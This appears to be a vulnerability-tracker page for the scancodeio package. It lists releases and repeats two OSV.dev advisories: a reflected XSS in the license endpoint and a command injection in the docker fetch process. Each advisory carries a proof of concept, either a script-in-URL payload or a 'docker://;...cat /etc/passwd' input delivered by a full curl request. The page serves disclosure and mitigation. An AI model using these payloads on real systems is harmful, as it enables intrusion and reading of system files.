scancodeio

Version	Released
`38.0.0` major	Jul 10, 2026
`37.2.0` minor	Jun 12, 2026
`37.1.0` minor	Apr 01, 2026
`37.0.0` major	Mar 11, 2026
`36.1.0` minor	Jan 22, 2026
`36.0.1` patch	Dec 09, 2025
`36.0.0` major	Dec 05, 2025
`35.5.0` minor	Dec 01, 2025
`35.4.1` patch	Oct 24, 2025
`35.4.0` minor	Sep 30, 2025
`35.3.0` minor	Aug 20, 2025
`35.1.0` minor	Jul 02, 2025
`35.0.0` major	Jun 23, 2025
`34.11.0` minor	May 02, 2025
`34.10.1` patch	Mar 26, 2025
`34.10.0` minor	Mar 21, 2025
`34.9.5` patch	Feb 19, 2025
`34.9.4` patch	Jan 21, 2025
`34.9.3` patch	Dec 31, 2024
`34.9.2` patch	Dec 10, 2024
`34.9.1` patch	Dec 09, 2024
`34.9.0` minor	Nov 14, 2024
`34.8.3` patch	Oct 30, 2024
`34.8.2` patch	Oct 28, 2024
`34.8.1` patch	Sep 06, 2024
`34.8.0` minor	Aug 15, 2024
`34.7.1` patch	Jul 15, 2024
`34.7.0` minor	Jul 02, 2024
`34.6.3` patch	Jun 21, 2024
`34.6.2` patch	Jun 18, 2024
`34.6.1` patch	Jun 07, 2024
`34.6.0` minor	Jun 07, 2024
`34.5.0` minor	May 22, 2024
`34.4.0` minor	Apr 22, 2024
`34.3.0` minor	Apr 10, 2024
`34.2.0` minor	Mar 28, 2024
`34.1.0` minor	Mar 27, 2024
`34.0.0` major	Mar 04, 2024
`33.1.0` minor	Feb 02, 2024
`33.0.0` major	Jan 16, 2024
`32.7.0` minor	Oct 25, 2023
`32.6.0` minor	Aug 29, 2023
`32.5.2` patch	Aug 14, 2023
`32.5.1` patch 1 CVE	Aug 07, 2023
`32.5.0` minor 2 CVEs	Aug 02, 2023
`32.4.0` minor 2 CVEs	Jul 13, 2023
`32.2.0` minor 2 CVEs	Apr 25, 2023
`32.1.0` minor 2 CVEs	Mar 23, 2023
`32.0.1` initial 2 CVEs	Mar 03, 2023

38.0.0 major

Jul 10, 2026

37.2.0 minor

Jun 12, 2026

37.1.0 minor

Apr 01, 2026

37.0.0 major

Mar 11, 2026

36.1.0 minor

Jan 22, 2026

36.0.1 patch

Dec 09, 2025

36.0.0 major

Dec 05, 2025

35.5.0 minor

Dec 01, 2025

35.4.1 patch

Oct 24, 2025

35.4.0 minor

Sep 30, 2025

35.3.0 minor

Aug 20, 2025

35.1.0 minor

Jul 02, 2025

35.0.0 major

Jun 23, 2025

34.11.0 minor

May 02, 2025

34.10.1 patch

Mar 26, 2025

34.10.0 minor

Mar 21, 2025

34.9.5 patch

Feb 19, 2025

34.9.4 patch

Jan 21, 2025

34.9.3 patch

Dec 31, 2024

34.9.2 patch

Dec 10, 2024

34.9.1 patch

Dec 09, 2024

34.9.0 minor

Nov 14, 2024

34.8.3 patch

Oct 30, 2024

34.8.2 patch

Oct 28, 2024

34.8.1 patch

Sep 06, 2024

34.8.0 minor

Aug 15, 2024

34.7.1 patch

Jul 15, 2024

34.7.0 minor

Jul 02, 2024

34.6.3 patch

Jun 21, 2024

34.6.2 patch

Jun 18, 2024

34.6.1 patch

Jun 07, 2024

34.6.0 minor

Jun 07, 2024

34.5.0 minor

May 22, 2024

34.4.0 minor

Apr 22, 2024

34.3.0 minor

Apr 10, 2024

34.2.0 minor

Mar 28, 2024

34.1.0 minor

Mar 27, 2024

34.0.0 major

Mar 04, 2024

33.1.0 minor

Feb 02, 2024

33.0.0 major

Jan 16, 2024

32.7.0 minor

Oct 25, 2023

32.6.0 minor

Aug 29, 2023

32.5.2 patch

Aug 14, 2023

32.5.1 patch

1 CVE

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

Aug 07, 2023

32.5.0 minor

2 CVEs

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2023-39523 PYSEC-2026-1904 GHSA-2ggp-cmvm-f62f Jul 07, 2026

ScanCode.io command injection in docker image fetch process

6.8 / 10

Medium

Adjacent Low Low None Unchanged Low Low High

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0

Fixed in


          32.5.1

References

Updated Jul 07, 2026 · Source: OSV.dev

Aug 02, 2023

32.4.0 minor

2 CVEs

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2023-39523 PYSEC-2026-1904 GHSA-2ggp-cmvm-f62f Jul 07, 2026

ScanCode.io command injection in docker image fetch process

6.8 / 10

Medium

Adjacent Low Low None Unchanged Low Low High

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0

Fixed in


          32.5.1

References

Updated Jul 07, 2026 · Source: OSV.dev

Jul 13, 2023

32.2.0 minor

2 CVEs

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2023-39523 PYSEC-2026-1904 GHSA-2ggp-cmvm-f62f Jul 07, 2026

ScanCode.io command injection in docker image fetch process

6.8 / 10

Medium

Adjacent Low Low None Unchanged Low Low High

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0

Fixed in


          32.5.1

References

Updated Jul 07, 2026 · Source: OSV.dev

Apr 25, 2023

32.1.0 minor

2 CVEs

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2023-39523 PYSEC-2026-1904 GHSA-2ggp-cmvm-f62f Jul 07, 2026

ScanCode.io command injection in docker image fetch process

6.8 / 10

Medium

Adjacent Low Low None Unchanged Low Low High

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0

Fixed in


          32.5.1

References

Updated Jul 07, 2026 · Source: OSV.dev

Mar 23, 2023

32.0.1 initial

2 CVEs

CVE-2023-40024 PYSEC-2026-1905 GHSA-6xcx-gx7r-rccj Jul 07, 2026

Scancode.io Reflected Cross-Site Scripting (XSS) in license endpoint

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

In the /license/ endpoint, the detailed view key is not properly validated and sanitized, which can result in a potential cross-site scripting (XSS) vulnerability when attempting to access a detailed license view that does not exist.

Details

In the /license/ endpoint, the license_details_view function is vulnerable to a potential cross-site scripting (XSS) attack due to inadequate validation and sanitization of the key parameter. This vulnerability arises when attempting to access a key with malicious javascript.

def license_details_view(request, key):
    """
    Display all available information about a given license `key` followed by
    the full license text.
    """
    licenses = get_licenses()
    try:
        data = saneyaml.dump(licenses[key].to_dict())
        text = licenses[key].text
    except KeyError:
        return HttpResponseNotFound(f"License {key} not found.") # Leads to cross-site scripting when key is malicious javascript
    return HttpResponse(f"<pre>{data}</pre><hr><pre>{text}</pre>")

PoC

Access following endpoint on scancode.io instance: http://localhost/license/%3Cscript%3Ealert(document.cookie);%3C/script%3E/

Impact

Attackers can exploit the vulnerability to inject malicious scripts into the response generated by the license_details_view function. When unsuspecting users visit the page, their browsers will execute the injected scripts, leading to unauthorized actions, session hijacking, or stealing sensitive information.

Affected versions


          32.0.1


          32.1.0


          32.2.0


          32.4.0


          32.5.0


          32.5.1

Fixed in


          32.5.2

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2023-39523 PYSEC-2026-1904 GHSA-2ggp-cmvm-f62f Jul 07, 2026

ScanCode.io command injection in docker image fetch process

6.8 / 10

Medium

Adjacent Low Low None Unchanged Low Low High

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

